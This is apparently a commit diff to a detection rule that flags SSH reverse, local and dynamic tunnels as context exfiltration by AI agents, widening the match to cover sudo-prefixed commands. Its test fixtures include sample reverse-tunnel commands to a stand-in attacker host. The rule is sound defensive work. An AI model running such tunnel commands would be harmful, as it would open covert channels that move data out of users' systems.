Skip to content

The cross-harness, self-improving memory layer for AI agents. Join our community: https://discord.com/invite/zdNChS2fBu

fix(rules): allow sudo anchor on ssh-tunnel-egress

AnandSundarccbd9560725c
diff --git a/rules/context-exfiltration/ssh-tunnel-egress.rule.yaml b/rules/context-exfiltration/ssh-tunnel-egress.rule.yaml
index acc4eb5e..30fad0b4 100644
--- a/rules/context-exfiltration/ssh-tunnel-egress.rule.yaml
+++ b/rules/context-exfiltration/ssh-tunnel-egress.rule.yaml
@@ -22,7 +22,7 @@ taxonomy:
match: >
e.event.action == "command.executed" && (
- e.command.command.matches("(?i)(^|[;&|]\\s*)\\s*(ssh|scp|sftp)\\b\\s+(-(R|L)\\s*\\d+:|-D\\s*\\d+\\b|--remote-forward\\b|--local-forward\\b|--dynamic\\b)")
+ e.command.command.matches("(?i)(^|[;&|]\\s*|\\bsudo\\s+)\\s*(ssh|scp|sftp)\\b\\s+(-(R|L)\\s*\\d+:|-D\\s*\\d+\\b|--remote-forward\\b|--local-forward\\b|--dynamic\\b)")
)
emit:
@@ -53,6 +53,12 @@ tests:
- event: { action: command.executed }
command: { command: "ssh --remote-forward 8080:localhost:80 user@attacker" }
session: { id: s1 }
+ - name: sudo_ssh_reverse_tunnel
+ verdict: match
+ events:
+ - event: { action: command.executed }
+ command: { command: "sudo ssh -R 8080:localhost:80 [email protected]" }
+ session: { id: s1 }
- name: ordinary_ssh_login
verdict: no_match
events: